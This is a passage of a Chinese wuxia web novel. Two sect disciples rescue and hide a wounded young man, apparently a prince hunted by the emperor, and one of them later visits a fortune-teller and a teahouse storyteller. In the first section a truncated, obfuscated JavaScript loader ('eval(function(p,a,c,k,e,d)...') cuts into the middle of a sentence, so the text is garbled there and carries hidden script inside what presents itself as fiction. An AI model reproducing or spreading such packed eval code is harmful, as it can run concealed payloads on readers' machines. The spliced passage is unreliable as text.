三对二的局势，青衡并未胆怯，握剑的手却起了汗——这三人的招式颇具章法，绝非混学百家技的寻常山匪。那么他们会是谁？且此时青衡三人在人数上已经占了优势，两个贼人仍没有要逃的迹象，反而更不要命地向着仅剩的另一位青年杀去，不像是劫香火钱，更像是……拼死寻仇。 青衡横剑在青年之前挡下一击，猎刀长剑铮然相碰，整个人挡在青年身前。她举剑佯攻，对方抬刀抵挡，她却闪瞬之间变换剑尖方向，先是一剑刺击让敌人失去还手之力，紧接着侧剑砍向肩颈，彻底断了贼人生路。 眼见川乌那边艰难抵抗，越打越向着悬崖边上去，青衡心一颤，以地上尸身借力蹬起，飞身踢向贼人持刀一侧的肋骨。那人体内发出微不可闻的咔嚓一声，如同被雷劈成两截的树般直直倒下山去，双手无力地胡乱挥着，只能哀嚎着任凭自己坠落悬崖。 这一记飞踢太过用力，青衡也几乎要跃入崖边的一片虚空。她重心不稳时伸出手臂，立刻被川乌稳稳拉住。 她由此定住身形，顺势瘫坐在草地上，长舒一口气。 川乌连忙上前：“你有没有受伤？” 青衡摇头。 川乌自竹筐中取出两株新鲜仙鹤草，顺手捡起两块石头来将它们粗略碾碎，撕开青年肩上的衣料，将这具有止血功效的草药敷在他伤口上，又斩下自己的一段洁净衣摆，将伤口仔细包扎起来。 “二位少侠，救命之恩无以为报……” 川乌正凑近了听青年虚弱的话音，青衡已站起身来，捡起贼人掉落在地上的刀来察看。 “刀是用上好的百炼钢制成的，这几个人不是真正的山匪，或许还有帮手在山下埋伏。我们得找条小路，也不能去街上的医馆，只能直接把他带回家医治。” “少侠！”青年捂住伤口，抬头喊住青衡，“这群人是为寻仇而来，我没有留下尸首在这里，他们必不会善罢甘休……少侠带我回去，会连累了你们。” “那怎么办？”青衡眉头紧蹙，“若是把你扔在这儿，岂不是让你自生自灭，我二人冒险救你的意义在哪里？” “你不要担心，我们是穿林堂的弟子，你的仇家即便找上门来，也不会敢对穿林堂轻举妄动。”川乌好言相劝，却见那青年仍然满面迟疑。 青衡想了想，将他全身上下扫了一遍，最终将目光停在他腰间玉佩之上，又抬眸与他对视：“不如把你的东西留在这里，但愿他们看到后，会觉得你是坠下悬崖了。” 他眼神空茫似是无意求生，了然颔首，伸手要去解下玉佩。青衡见他受伤不便，自己替他将玉佩解下，扔在三具尸首之间。 “他……” 青年望向伏在地上的自己的同伴，神色凄然。 川乌去探了探那人的脉象，只是摇头。 “不能再耽搁了。”青衡俯身，将青年的一条手臂架在自己身上，川乌架起另一侧，“即便你的仇家是我们不好招惹的，也不会不加商量就杀光我们整个穿林堂；但你要是留在这里，就只有死路一条。” 下山时远远看见前往佛寺路上人仰马翻的景象，几具侍从打扮的尸体靠在马车外、横在路中间，想来都是这位负伤公子的手下。青衡和川乌并未停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哎呦，你我之间何须言谢？话说回来，我若不踢那一脚，贼人必然要伤到你了，我还救了你的命呢，也不见你谢我。” 青衡开始调笑：“你不替我告假也好，我替你告假，你守在这里，但是日后师傅必然要给你开小灶补回来，你不害怕师傅的话，我们俩谁告假都可以。” 川乌无话可说，撇了青衡一眼。 “他没什么大事，今夜不必守着，但确实可能明日醒来，需要有个人在这里。可惜我学艺不精不敢耽误练武，要劳烦青衡师姐明日在此看守病患了。” 青衡忍着乐将川乌推出厢房：“那可别扰了病患休息。” 初春夜晚凉风习习，青衡扯了扯身上外衫。 “但是……川乌，素心长老有意亲自教导你，你在医学方面资质超群，也并不喜欢练武，为什么不跟素心长老去医堂呢？” 川乌抬眼看她，思量片刻，又垂眸一笑，青衡正猜测他会给出什么答案，川乌一开口却仍是没个正经。 “怎么，差使我就算了，你现在还想赶我走？” “……” “我和你无话可说。” 青衡一转身就要回房：“明天见。” 5. 落难皇子 厢房常年无人居住，泛着股淡淡的木头霉味，如今与药味混杂在一起，更是难闻。青衡想，这于病患康复无益，便将窗户推开一道罅隙，将一缕阳光和清风放进来。 其实，木头的霉味与汤药的苦味混在一起，都不如养济院潮湿肮脏的异味让人难以接受，青衡对此无所谓。可床榻上昏睡的青年显然是个出身不凡的读书人，虽略懂些剑法，但貌似不曾经历过真刀真枪的实战，能坚持到山崖，只是因身处绝境而不得不殊死抵抗；仅仅是流了点血受了点惊吓，就能昏睡到这个时辰，想来他的鼻子也更娇贵，闻不得任何异味。 青衡伸手到窗边，试过清晨的风并不凉，又将手指放到青年鼻下，见他还在喘气，只是昏睡而已，才放心地搬了张凳子，将书拿到这间房里来，有一搭没一搭地靠在墙边翻着。 日光的印记映在萧执墨的朱笔批注上，关于对听竹生文章的解读，萧执墨和川乌都建议她去问师傅，她的确拿着书去问了。 彼时楼千光将那三种解释都读了一遍，只说各人心境不同，对同一句话的理解也就各不相同。因听竹生身份背景未知，无人能看穿他内心真正所想，是以按照自己的想法解读他的文章即可。 青衡看了会儿书，日头向上移，已到巳时，上午的练功都要结束了，仍不见这位贵客醒来。她便也无意保持安静，甚至觉得时候差不多了，故意想把人叫醒，自顾自地念出了声。 “危峦倒悬，其湖绛紫……” “扶玄天日华，酿万年夕暮……” 她伸长脖子去看，床榻上的青年眼皮动了动，随即咳出几声。 青衡啪一下合上书，拖拽凳子凑到床边。 “公子……公子？” 她不常与正儿八经的读书人打交道，因此也从未这样称呼过谁，乍一喊还有些别扭。 青年睁开眼，目光涣散。青衡扶他坐起来靠在榻上，一手端药一手端水。 他环视四周，发觉自己处在陌生的屋舍当中，抬手扶了扶头。 “……这里是穿林堂。” 她将一肚子想问的话咽回去，先将水端到他面前。他喝了水，青衡再想递药的时候迟疑了一下，有钱人怕药苦要吃蜜饯，是不是还得给他准备一颗？ 好在此人对救命恩人十分顺从，一言不发地饮下了她递过来的所有东西。 青衡神情严肃，直入主题：“公子，我知道你身体不适，但你现在必须要告诉我你和你仇家的身份，我才好决定下一步该如何安顿你。” “……还记得昨天西郊发生的事吗？仇家追杀你和你的同伴，我们搭救了你。” 床榻上的人声音嘶哑，却回答得很干脆。 “自然记得……姑娘，我今夜就离开，来日必定回报两位少侠的恩情。” “你……” 青衡一时语塞，无奈非常。 “也不是不行，那也要告诉我你的去处。” 青年叹息一声低下头，一看便是要编个谎搪塞她。 “没有去处？”青衡打断，“那我如何能放你走呢？” “并非我执意不听从姑娘的忠告，只是我的仇家……着实权尊势重。我清楚穿林堂是正派名门，是以更无为我一人经此无妄之灾的必要。” “所以……你仇家是谁？” “我若不说，你们只是对我拔刀相助的义士，我尽快离开只当从未来过，才能与你们撇清干系；咳咳……我若说了，仍然赖在这里，姑娘及姑娘的门派便都成了我的同党，会招致无穷后患。” 青衡心里觉得奇怪，江湖上还有这么恐怖的势力？除非…… “……罢了，你是谁？” “我叫崔简，字晏之……” 果然是个读书人，青衡没猜错。 他只说了个姓名，便再不多发一言。青衡的耐心几乎要被此人耗尽，反客为主，推测起他的出身来。 “你既有表字，还随身戴着玉佩，出门有车马侍从跟随，不像是会惹上什么江湖势力的样子……所以，你的仇家是世家大族，还是朝廷重臣？” 崔简欲言又止，面色更苍白了些，神情一片愁云惨淡。 “……比这还厉害？” “即便如此，你也无需担忧，西郊距离红叶谷更近，你的仇家若觉得你被江湖中人搭救，也应该去红叶谷寻你，怎么也怀疑不到京城另一方的穿林堂来。” “若他们不惜大动干戈，无论是江湖门派还是寻常人家都不落下，挨家挨户地盘查呢？” “那又何伤，偌大的穿林堂，藏个人算什么难事。” 青衡摇头。 “……不对，这怎么可能，谁有挨家挨户搜查平头百姓的权力？除非你仇家是皇帝……” “姑娘！……” 身后的门扉被轻轻叩响，是川乌回来了。 “……公子醒了。青衡，我从膳堂给你们带了吃食回来，他既然醒了，你先去歇息吧。” 川乌注意到青衡神色有异：“你怎么了？” 他提着食盒，又看崔简，见崔简似是有话要对青衡说，更是一头雾水。 …… “……既然你处境如此危险，就更不能轻举妄动！你怎知今夜离开，穿林堂外就没有追兵蹲守？如此反倒坐实了你与我们门派有所牵扯。” 青衡一把夺过川乌手上的食盒，将其打开，端出为崔简准备好的清粥小菜，手有些抖，从碗沿洒出几颗米粒。 “崔公子想报答我二人的救命之恩，不如先按照我说的做。我们不过真传弟子，无法做主，”她对崔简使出缓兵之计，“现在你只需要安心养伤，等待，长老会定夺此事……” 说罢，青衡便拉着川乌出了厢房，三下五除二地锁上房间的门。 “你这是……？”川乌攥住青衡抖动的指尖，“你的手怎么这么凉，他是什么人，和你说什么了？” “川乌，他竟然和朝廷……和皇帝有所牵扯！我们只是顺手相救，怎么搬回来了这么个烫手山芋！” “……什么？” 川乌将青衡拉到自己房中，与她面对面坐下：“是他自己告诉你的？不会是胡说的吧？” 他迟迟没有松开青衡的手，掌心温度使她堪堪恢复冷静，沉思许久。 她将崔简与她的对话，一五一十地向川乌转述了一遍。 “而且，他姓崔，当朝国姓。的确有可能是哪位皇亲国戚。” “……青衡，此事我们根本无法处理。” “无论他所言真假，这件事都必须要报到长老会去，我们不说人微言轻，也绝无私自决定这般大事的权力。” “但……钱长老，雷长老，素心长老，乃至掌门，他们都不像是会设法保下他的样子。掌门连红叶谷换了谷主都觉得算是极大威胁，一心只想苟安，朝廷的人找上门来，岂不是立刻就要将他、你、我，一并扔出去撇清关系？” “那就不必保下！”川乌不假思索，“若保下他一人，整个门派就要触怒朝廷，你觉得孰轻孰重？是你活着重要，还是他活着重要？” “……真的到了这个地步吗？目前甚至还没人发现他去了哪 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青衡闭了闭眼，除却幼时几次使她濒死的饥饿，还从未感到过这般无计可施，没有接话。 “原因……我亦难以言明，或许是因为，他本身便是一个疑心极重的人。我有预感他会在我就藩途中动手，不想他甚至没有等到那个时候。” 青衡睁开眼睛，她总觉得事出有因，对他这话将信将疑。 转念一想，皇帝若想对兄弟施以惩罚，本可光明正大，哪怕到了要处死的地步，也不至于让人扮成山匪模样、蹲在半山腰劫道这般不体面。 “依你对你兄长的了解，他见到玉佩遗落在山崖，是否会相信你已经死了？若是不会，他能够怀疑到穿林堂头上来么？” “……如我方才所说，他没有亲眼见到我的尸首，更会笃定我早有防备，甚至与其他势力暗通款曲，才能受人搭救。若他疑心病发作，逐户搜查起来也极有可能。” “你一早知道他想杀你，为何在去佛寺的路上不多带些侍卫？” “伪装成山匪不过避人耳目的一种做法罢了，他还有许多其他机会，我尚且身处宫中，上天无路，入地无门，总归是防不胜防。” “所以你……也并没有打算反抗？” “天家子嗣命定如此……只是九泉之下与母亲相见，她若知道我无声无息地了结在自己的兄长手中，大抵会替我抱憾罢。” 崔简苦笑一声，眸光凄凉。 “如今身在此处，早些忘了这种想法吧。”青衡目光冷峻，语气不容置喙，“无论我是唯恐现在赶走你遭人察觉，还是真心想保下你，都是在冒着极大的风险救你性命。” “……自己的命，你总不能看得比我们这些不相干之人还要轻。” “只是要委屈……崔公子。”青衡环视厢房四周，“这几日，你怕是不能出这间房了。若有同门经过时看到你这张新面孔，我们就离倒霉不远了。” “姑娘……” “莫再啰嗦。 ” “……崔某只是想问一问恩人名讳。” 崔简目光移到青衡的听竹生文集上，神色复杂。 “……我叫青衡。”她轻叹，脱力地将手肘支在膝头。 “为你医治的那位是川乌，我们是穿林堂的真传弟子。” “青天之青，蘅芜之蘅？”他的眼神由书籍转向青衡的脸。 “不……”青衡想了想，“审慎之衡，中正之衡。” 6. 相好 说是要审出更多信息来，可青衡一看见崔简那张写满了求生不能求死不得的脸，就心乱如麻，不知能再问他些什么问题。 她在逼仄的厢房中踱了几个来回，崔简不敢与她闲谈，只好就这么眼见着她走了几个来回。 青衡突然想到，当下迫在眉睫的，是给崔简找一个隐蔽的藏身之处。 她当即出门，仔细环视整个院子。水缸、地窖等能容纳人的地方，官兵可以说是必翻无疑；若是藏到住处之外的角角落落，她无法放心。 她走到川乌房中，敲敲他的百斗柜——若把药柜中间的各个隔断打通，是否能藏下一个人？ 念头很快被打消了，若她是寻人官兵，凡是能打开的柜子必然都要查一遍，不能打开的柜子更是要撬开来找。把他藏在这儿，跟让大活人直接站在屋子中间没区别。 青衡身后的窗外，霍晓正闲庭信步，轻松随意地左看看右瞧瞧，大摇大摆地走进青衡和川乌的小院。 她见院中一向房门紧闭的厢房正虚掩着，猜想青衡是在整理物品，向内喊了声青衡，想也不想便推门要进。 听到这一声唤，青衡耳朵一竖，头皮一麻，心中警钟大作。 “哎呀我的好师妹，难得见你抱病告假啊，师姐我来看……” 崔简听见响动，无处可藏，只来得及抬起自己完好的那只手臂，将沁着一片暗红的伤处虚虚一挡，不想扯到伤口，包扎的布巾下又涌出一股鲜血来。 霍晓一抬眼，见房中榻上坐着个眉头紧蹙的郎君，刚一与他对上视线便飞速全身而退，将门关紧。 …… 青衡从不知何处飞来，心脏狂跳，欲盖弥彰地一把勾住霍晓肩膀。 “师，师姐……这个时辰不是应该去藏典阁吗，什么风把你吹来了？” 霍晓缓缓抬头，目光寸寸上移的须臾在此时变得格外漫长，最终坚定地盯上了青衡的双眼。 “……你房里有人。” 青衡心凉了半截，勾肩搭背的手猛地一蜷：“……什么人？” “男人。” “男……” 青衡如鲠在喉：“师姐看错了吧，什么男人？” 霍晓大手一挥，指向厢房。 “……不是川乌。” “……什么不是川乌？川乌怎么了？” “小青衡，你拿我当傻子？”霍晓的手指转向青衡鼻尖。 青衡一把抓住霍晓的手：“师姐，你还没回答我呢，你怎么突然来了？” “我想来看看你，也不想去念书，于是我跟师傅说要来看你，晚些去念书，师傅想都没想就准了！” 霍晓被抓着，抬起另一只空闲的手，指向青衡鼻尖：“……但我看你活蹦乱跳康健得很，脑袋转得也够快，还会转移话题。” “居然想骗你师姐？快老实交代……” 青衡生无可恋，紧闭双眼。 “屋里那个是不是你相好！！！” …… 崔简早在与霍晓对视之后，就赶紧拖着虚弱的身体从榻上起身，没想到霍晓先将门关上，他晚了一步无从补救，飞速将门闩滑进凹槽。 听到霍晓在院中石破天惊的这一声呼喊，崔简紧握门闩的手一抖，未愈病体出了一身冷汗，眼前黑了又黑，几乎再次晕过去。 青衡即将提到嗓子眼的心突然停止向上。 霍晓已发现了崔简，这一点无力回天；若将崔简那些真伪难辨的乌七八糟告诉她，更是百害而无一利。正愁不知如何应付霍晓，不曾想她自己送上了个好答案…… 好在她为照顾崔简金贵的鼻子，早早将厢房中的药味开窗放了去，没让霍晓嗅到起疑。 事已至此，不如直接破罐子破摔、借坡下驴。 青衡龇牙咧嘴，面容扭曲，嘶了半晌，像是好不容易下定了极大决心。 “……是。” 院中静了片刻，只闻风动林梢。 “我就知道！”霍晓两手一拍，嗷地喊了起来。 崔简在屋内听见这番对话，手捂了捂伤口，头疼欲裂。 相识不到一日，他已给青衡川乌添了不计其数的麻烦，桩桩件件牵扯着他们三个的项上人头。他能做的只有老实在这间厢房中待着，竟还没将自己藏明白，能被别人冲进来，这般一览无余地发现。 “嗐……青衡，不是师姐说你，你在哪学的这一手金屋藏娇？师傅要是知道她的得意大弟子唯一一次告假，竟是因为在和男人厮……呃，那话怎么说来着？耽，耽溺于男色，不知要板多久的脸！” “嘘，嘘！师姐，这事声张不得！” 怪不得霍晓得雷长老赏识，她一扯嗓门，声音直接能从这东郊樟树林响到九重之上那皇帝老儿的耳朵里。青衡赶紧回头望一眼，见崔简已不声不响地闭紧了门窗，忙不迭将霍晓搡进自己房中。 “师姐，这不合堂规，你可千万要替我保密。” “那还用说！”霍晓大拍胸脯，“我还以为你只知道练功，没想到比你师姐我开窍得还要早……” “快讲讲，他是什么人，在哪认识的？我看他长得很是清俊，可不像我们这些习武的大老粗啊。” 霍晓居然看清了崔简的脸，青衡暗道不好。 “是读书人。”青衡故作漫不经心，随口搪塞过去，仿佛有个相好是跟早上喝碗面糊一样不值一提的事。 她意在消解霍晓对崔简的注意力，道：“师姐问那么详细做什么？今日好，明日可能就不好了，我又不是要跟他成亲。说不定你下回来，这屋里又换了个人。” “……你这是中的什么邪？你要真是这四处留情的人，我之前怎么一点都没看出来？” 青衡无语凝噎，说得太过了也会惹人怀疑。 “……并非四处留情，只是不能在一棵树上吊死。” 霍晓看着青衡云淡风轻的面容，思忖了一阵。像青衡这样资质超群的天才，每日除了习武念书，也总该找点乐子疏解疏解，这是人之常情。 “好，你这么想也对……你不知道，我做内门弟子的时候，见过多少有潜力的小师妹，都一头陷进什么爱呀恨了的破烂事里，触犯了堂规，都再难晋升了。” “你一 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师傅……师傅算不算是长老会中，她唯一的可信任之人？ 青衡再不敢轻举妄动，目送霍晓的身影直至消失不见，又确认了院外四周无人，才贴上厢房的门，用指节轻轻叩响。 “是我，开门吧。” 崔简迎她进来，神色歉疚：“青衡姑娘……” “……崔公子，我这里间或会有人来访，日后这窗户怕是也开不得了。” “都听姑娘的。” 他想为青衡做点什么，奈何实在无能为力。 “不必担忧，我师姐为人仗义，不会将你的事说出去。” 霍晓出身京城周边黑石浦的渔民之家，从未跟朝廷官场扯上过关系，若将崔简身份如实道来，她必然惶恐，不如直接承认是相好来得稳健。 “你若实在无趣，我拿些书来替你解闷。近日我多下山几回去探听消息，如果有什么风吹草动，我们好早日防范……你也趁着这段时间想想日后的去处，纸终究包不住火，你多留一日，暴露的可能性便多一分。” “话虽这么说，你万万不可自己溜走，若真到了要离开的一天，也必须是我送你走。” “崔某谨记于心。青衡姑娘对我恩重如山……” 青衡摆摆手，看见崔简肩头包扎的布巾因着剧烈动作松了些，似乎流了更多血，翻出川乌放在床下的伤药和洁净布巾，拿在手里时迟疑了一下。 她不常给人换药，自己在走镖或练武时有了磕碰，都是川乌替她治伤。 但不过上个药而已，这有何难？ “我把握不准手下轻重，你忍着点。” 青衡净了手，说罢便要去解崔简的布巾。 “不敢劳烦姑娘，我自己……” “别动，扯到了伤口，待会儿还要麻烦川乌。” 崔简知晓这是他减少麻烦的唯一举措，只得乖乖闭嘴，自此更加不敢再顶撞青衡半句。 7. 茶楼 藏典阁门口，萧执墨从杂役手中接过精致小巧的食盒，霍晓留了个心眼多瞧了瞧，其上刻的似乎是城中酥荷坊专属的荷花纹样。 她凑上去，将萧执墨直接挡在门口石阶上：“今天怎么有如此雅兴，特地差人去城里买这么好的糕点？” 萧执墨不疑有他，如实道:“上次请青衡指点剑法，该带些东西去好生感谢，她今日身体不适，也算是去探望一二。” 霍晓得意于自己的敏锐，他果然是要去找青衡的。 “还惦记着你那没还回去的礼呢？青衡不讲究这些。”霍晓目光停在他手中食盒上，思量着该如何将人拦住，“而且你到底会不会探病啊，病人怎么能吃这种甜腻的东西？” 萧执墨倒也没不耐烦：“只买了茯苓糕和桂花糕，是清淡的。” “……” 霍晓眼睛一转：“不然你先别去了，青衡今天心绪不佳，需要静养。” “你午时不也去看她了么？” 萧执墨这才觉得霍晓举止可疑，她平日虽也好多管闲事，但总不会平白无故地阻人好意。 “……对啊，你再去岂不是太打扰人？” 霍晓先发制人，转瞬之间就将萧执墨的食盒夺进自己手里：“不如这样，东西我替你去送，送到我就走，你还免了跟青衡川乌寒暄，也少些打搅。” “你慢着！” 霍晓拎着糕点刚要跑，又被萧执墨一步横在前。 “你这是做什么，青衡师妹……得的难道是什么怪病吗？情形如何？” “哎呀，你怎么这么絮叨！什么怪病，少咒我们青衡了！”霍晓急了，换上一副凶神恶煞面容，“你抱病卧床的时候，有精力接待一个又一个师兄师姐吗？让开！” “小声些！” 她一在藏典阁门口喊起来，萧执墨便开始替她惶恐，两声吼将阁中的楼千光都引出来时，萧执墨阻止不及，霍晓已经一溜烟跑出好远。 楼千光内功深厚，走路无声无息，直到看见石阶下多了一道影子，萧执墨才惊觉身边多了一人。 “怎么了？” “……弟子不知，似乎是青衡那边出了什么事。” 楼千光望着霍晓离去的方向，若有所思。 另一边霍晓已然赶到，路过厢房时瞄了一眼，门窗紧闭无声无息，和之前空置时一模一样，心道青衡果真警惕了起来。 她一入青衡房中，便嗅到屋内药气弥漫，桌上洒了些药粉。青衡则歪在床上，额头上敷着条用以退烧的巾帕，也不知道是不是因为厢房里的小郎君让她惦记得难以安枕，脸上竟真有几分精神不足的疲态。 霍晓将吃食往桌上一撂：“萧执墨买的糕点，本来要亲自来带给你的，我赶紧把他拦下来了！” “但，小心驶得万年船。你那天陪他练了两招，我看他还是有要上门感谢的意思。”霍晓最不爱闻这药味，抬起手扇了扇，“……装得挺像嘛！” 青衡颔首：“那是自然……” 她本想请霍晓在明日练功见到萧执墨时替她道谢，转念一想，明日她若再以抱病的借口留在住处看守崔简，别说霍晓，怕是连师傅都要起疑。 青衡不是没想过将此事告知于师傅，换作雷振岳、钱如海甚至掌门，一听崔简身份，都有可能为撇清关系将她和川乌连带着一并交出去。只有师傅想办法时会顾及他们……或许素心长老也会。 但崔简养好伤后，若能直接找个地方隐姓埋名远走高飞，她便没有必要去惊动长老会的任何一个人。至于崔简的那套说辞是真是假，也就都跟她没关系了。 青衡期盼这一天的到来。 “城里买的，好东西。你们俩好好品尝吧，我闻着这股药味都要吐了，先走了。” 霍晓离开后，青衡顺势在床上躺了一会儿，眼睛空茫地望着上方。 “你替我煎一碗安神的药吧，我睡不着。” “……好，天黑之后给你端来。” 川乌坐在她床前默了一会儿，道：“亏你想得出来，居然说他是你相好，以后你可怎么圆这个谎，师姐一揶揄你，难免露出马脚。” “师姐这么猜的，我也是穷途末路……” 青衡翻身起床，小心翼翼地将食盒捧过来放在自己腿上，和川乌一起打开。 上下两层的食盒，第一层是金黄晶莹的桂花糕，甫一打开便散出清甜蜜香来；第二层的茯苓糕方正洁白，用料扎实，青衡快速看了一眼，两样各八块。 “我不过是跟他切磋了两回，师兄就送这么好的东西来。”青衡有些惊讶，看向川乌，知道他自幼喜甜，“桂花糕都是你的了。” “你不想吃吗？如今还谦让什么，早就不是那食不果腹的时候了。” 青衡笑了笑，她何尝不知道，只是经年累月地养成了习惯，总觉得将吃食多让给川乌一份，他就能再长高一些。 “这个季节的桂花糕，大抵用的是窖藏的糖桂花，秋天我们可以自己去买些新鲜的来。” “说起来，明日我要下山一趟，听听有没有关于崔简的消息。” “好，那我们就趁着下山提前去一次养济院吧。” 青衡一顿：“……你不能去。” “咱们院中还藏着个人呢，万一再有谁闯进来发现了怎么办，你得守在这。” 川乌闻言，白了青衡一眼，不声不响地起身煎安神汤去了。 次日，青衡难得独自在山下车水马龙的街道中穿梭。 有了川乌的安神汤，她昨夜睡得还算好。 只是清晨练功时师傅多看了她一眼，她因心中有鬼，下意识低下头不敢与师傅对视。只怕敏锐如楼千光，会发觉她在隐藏着什么。 她心里始终揣着师傅的这一眼，心事重重地一路走到京城最大的茶楼门前。堂中说书人正高谈阔论，青衡选了个在他近旁的位置落座。 青衡虽已领了多年穿林堂的月例，但仍没有在口腹之欲上多花钱的习惯，此次也是难得点了壶茉莉香片，一边自己一盏一盏地磨，一边留意说书人所讲的内容。 可直到一壶茶即将见底，太阳就快落山，那人讲来讲去无非也是一些坊间奇闻、神鬼志异，青衡又竖着耳朵听了半天其他客人的闲谈，半个“西郊”、“皇子”、“朝廷”之类的字眼都不曾听到。 她是来早还是来晚了？ 青衡一算，从救下崔简至今，她虽煎熬得度日如年，但也才过去了两天，消息还没传出去也不奇怪。 不是没有熟识的情报贩子，但若是消息还尚未扩散开来，她便贸然去打听，反倒会打草惊蛇，让人觉得此事与她有牵扯。 已经过了茶楼客流最大的时辰，若有什么新鲜事，说书的也不会放在现在讲了。青衡 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青衡见那摊主愣了一愣，犯难地看向写下的生辰八字。这要是能变出另一种说辞来，岂不是承认了自己技艺不精，接下来还哪有客人会来？ “借过。”青衡拨开人群，走到摊前。 她冷脸摆出大师姐的派头：“不满意，再找个相士看看就是，莫要在这里为难人。” 那人听青衡多嘴多舌，正准备再耍一通，一看她腰间佩剑，一副要行侠仗义的模样，欲言又止考量再三，自知理亏，终是悻悻地转身离开了。 青衡注意到他看向自己腰间的目光。这把剑，在外实在替她少费了不少口舌。 人们见不再有热闹可看，作鸟兽散。青衡见事情平息，也正要走，忽然被那摊主叫住。 “姑娘！” 摊主向青衡招手，让她坐下来：“多谢姑娘出手相助，我来替你看看吧？不要钱。” 青衡本没有这个打算，听摊主相邀才略一思索。光是观人面相八字，就能看穿人这一生如何离合悲欢，即便不可尽信，也总有几分玄妙在其中。 “会不会耽误了姑娘做生意？”青衡问。 “不会不会，我本来也打算收摊了，姑娘尽管来吧。” “那……有劳了。” 青衡坐下，近距离看清了这个蒙着面纱的女子，她只露出一双好看的桃花眼，此刻眼尾上扬，看起来心情颇好，冰肌玉骨的一双素手将记载着来客生辰八字的册子向后翻一页，重新执笔准备书写。 “姑娘先想算什么？运势，姻缘，还有什么你想知道的事，我都可以替你算一遍。” 摊主巧笑倩兮，抬头对上青衡的目光，看得青衡都有些发愣。 恰逢这两天因着崔简的事心中烦闷，正好向这摊主求上一卦，若她说好，算是得了点聊胜于无的慰藉；若说不好，她只当是耳旁风，早点回穿林堂才是要紧。 在青衡思索的当儿，摊主以为她还未拿定主意。 “姑娘生得这般俊俏，我先替你算一算姻缘吧？姑娘先把生辰八字一一说来。” 青衡没想到这第一关就把她难住了。 她张了半天口，不知该如何把这话说出来。最终只能给了个简单直白、不加矫饰的答案。 “我……也不知道。” 8. 血案 “我想……” “无妨……” 相士这一行，每天要相的面算的卦不计其数，没名气的或许赚得少，但见人一定少不了。碰到不知自己生辰八字的孤儿，简直像在一盘炒萝卜丝里吃到姜般稀松平常。 那女子琥珀色的眸子在青衡脸上扫了一下，便明白个中缘由，欲道无妨。青衡正想问有无不看生辰八字的算法，两人一开口话音撞到了一起。 女子眼睛弯了弯，示意青衡先说。 青衡松了口气：“我不想问姻缘。眼下遇到一些难事……我只想知道能否平安渡过。” “自然好，烦请姑娘净手。”摊主轻松应了。 青衡在一旁的铜盆中净手之时，摊主见有一枚铜钱丢失，不疾不徐地取出一个暗红锦囊，又从中倒出新一套三枚薄厚一致的铜钱，在案上一字排开。 “姑娘屏息凝气，心中默念你欲知之事，将这三枚铜钱合于掌心，共摇六次。每摇一下，将铜钱掷于案上，我来为姑娘记录卦象。” 青衡从未接触过这些，也觉得新鲜有趣，仔细地将铜钱收入手中，照女子的话来做。 她忽然想起多年前养济院来过几位道长，须发灰白衣袂飘飘，在幼时的她眼里如神仙下凡一般。那道长慈眉善目，弯腰摸她脏乱如野草般的头发，说这孩子眉目清正，有意带回去做个道童，还为她赐了“青衡”这个名字…… ……不能再回忆了，要专心致志地默念问题才是。 青衡每摇一下，那摊主便凝眸观察卦象，行云流水地在册子上写写画画。 “‘师’化‘升’……” 卦成，她盯着册子上的一串符号，絮絮地低吟浅唱着解卦之语，青衡只听清了几个词汇，却也不解其中意。 “姑娘此卦，是由凶化吉。你仍需在此事上继续付出心力，待时机成熟，向明而行，眼前困境便可化解。” 女子语气轻快：“我观姑娘面相，双目如寒潭，鼻梁似山峰，想来绝非庸碌之辈；若说眉目间有一丝郁气，是此时遇到了些在所难免挫折牵绊。你只需坚定自守，眼前之劫，不过算是托举姑娘的一阵风罢了。” 青衡被夸得晕头转向，也不知她说的是真是假，但这般言语听进耳朵里，总是能让心情好些的。 至于摊主说，向明而行，什么是明？青衡并不太在乎，也就无意去深问。 若是真对这短短几句解卦之语深信不疑，要依据这些而行动，她觉得太过荒诞。摊主只是见她出手解围，让她坐下来说些漂亮话感谢感谢也说不定。 “……我明白了。” 旁人来听了解卦之语，都是穷追猛打地一直问，恨不得从中得知自己哪天出门会踢上石头，青衡却不再多话。 摊主说是要收摊了，看起来却完全不急，双手托腮看着她：“你还有什么不解之处，尽管说来。姑娘心善，我就以此向姑娘表达谢意了。” 青衡想了想，除却眼下崔简这桩飞来横祸，她自觉过得很好。穿林堂跟养济院的生活简直是云泥之别，如今她能吃饱穿暖，还有练武读书的条件，已是过上了从前跟川乌在柴火堆里打滚时想也不敢想的日子。 日后有机会晋升长老，她自会尽她所能；若是没有，就这样过一辈子，在走镖途中见见穿林堂外的山川湖海，也没什么不满足的。 “多谢姑娘指点迷津，我没有什么其他想知道的了。” “……如此甚好，日后若是有需要，姑娘随时来我这里便是。” 她垂睫思索，又满含笑意地抬眼望向青衡：“但我不常在此，那只好有缘再见了。” 此女一身玄衣，鸦羽般流光溢彩，举手投足之间更不似等闲相士。若真是哪位高人一时兴起，想混入寻常巷陌支个摊子游乐一番，那青衡倒真可以信几分她的话。崔简之事，只要她继续小心下去，她不求逢凶化吉，平安无事便很好了。 崔简今日没再扯到伤口，精神也恢复得快一些。 他必须尽可能快地好起来。青衡已经替他试了多个藏身之处，但他到时候要是仍然伤病缠身钻不进去，除非修炼出上天遁地之术，否则何等高人再来算，他都只剩死路一条了。 第二日青衡探访茶楼前留意一眼，那玄衣女子和她的卦摊果然没再出现。 她今日随便叫了壶龙井，饮了半壶，喝起来与昨天的茉莉香片没多少差别。 再听不到两句有用的话，假以时日，她怕是真要被培养成变成这儿的资深茶客了。 难不成是朝廷看见她有意留下的玉佩，相信了崔简已死，按下此事不再追查？ 但若崔简身份真如他所说……皇子薨逝哪里算是不可言说的秘辛，况且还披着遭山匪劫道这层的掩护，更不会令寻常百姓生疑。朝廷若以为崔简已死，这京城上下总不会像无事发生一般，一点消息都透不出来。 那女子所解的卦多多少少在青衡心里留下了个印子，由凶化吉，前头终究还有个“凶”字，青衡不敢掉以轻心。 她正考量今晚是否要在外久留，再换换地方，深入勾栏瓦舍之间去探听一二，堂中说书人突然啪地拍响了醒木。 “列位看官，提起精神来，今儿咱来表一桩京城前两日刚发生的命案！” “……” 青衡心下一颤，侧耳细听。 